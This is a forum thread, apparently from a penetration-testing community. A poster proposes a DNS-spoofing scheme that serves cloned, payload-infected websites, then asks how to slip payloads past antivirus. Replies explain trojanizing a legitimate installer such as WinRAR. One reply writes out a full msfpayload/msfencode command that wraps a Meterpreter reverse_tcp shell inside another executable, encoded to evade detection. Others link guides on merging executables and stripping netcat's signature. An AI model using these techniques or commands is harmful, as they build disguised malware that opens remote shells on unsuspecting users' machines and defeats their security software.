DNS Spoof

[letmein]

Had a play with different scrips and thought of a possible enhancement (I dont have the skills to do this but thought I woudl share the idea)

SET and other MITM scripts generally rely on a victim going to a cloned website for a payload to be executed, how about the attacker webserver hosting a number of cloned sites, say if it could handle 1000's then the whole web from the victims point of view could be effected...

Alternativley could the webserver create cloned and infected sites on the fly, i.e. victim requests backtrack.org so the webserver constructs the site and infects with a payload?

Just a thought, if crap feel free to delete thread...

(PS dont bother coming back saying, yeah great idea looking forward to seeing the script, I have clearly stated this is an idea and that I do not have the skills)

(PPS still struggling to get payloads past AV, read various posts and links but still struggling, latest was to encode but how would I go about writing one of these?)

[LHYX1]

(PPS still struggling to get payloads past AV, read various posts and links but still struggling, latest was to encode but how would I go about writing one of these?)

Just inject payloads into another exe file with a big enough .text segment. For example the winrar installer should work
And first start with a bind shell or something small before trying meterpreter.

[letmein]

Had a quick play around with WINRAR and can create a sfx.exe, which seeems to extract to a folder (wouldn't this then trigger the AV?) and runs the program (I was testing with wzcook.exe which our work AV doesnt pick up as a virus but intend to try at home later with a Nirsoft WKV or a msf reverse binder).

Is this what you mean by "inject"? I though I towuld be trying to combine say netstat.exe and wzcook.exe into 1 exe, but this doesn't seem to be the case with WINRAR?

[thorin]

http://www.online-tech-tips.com/cool...e-executables/
http://www.developerfusion.com/code/...-into-one-exe/
http://bytes.com/topic/c/answers/850503-merge-two-exes

[thorin]

http://www.online-tech-tips.com/cool...e-executables/
http://www.developerfusion.com/code/...-into-one-exe/
http://bytes.com/topic/c/answers/850503-merge-two-exes

[LHYX1]

msfpayload has the option to put a payload inside another exe file. That's what i ment with injecting.

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R | ./msfencode -e x86/shikata_ga_nai -c 10 -t exe -x someexe.exe -o output.exe

This worked for me with the winrar exe and doesn't get detected by AV.
If you want to get netcat passed the AV, you will need to remove the filesignature.

http://www.mattszafran.co.uk/papers/...atsFileSig.pdf
http://dl.packetstormsecurity.net/pa...ack_Netcat.pdf

And I remember there's a video on the site of offensive security "I piss on your AV". You could watch that also.
http://www.offensive-security.com/resources/videos/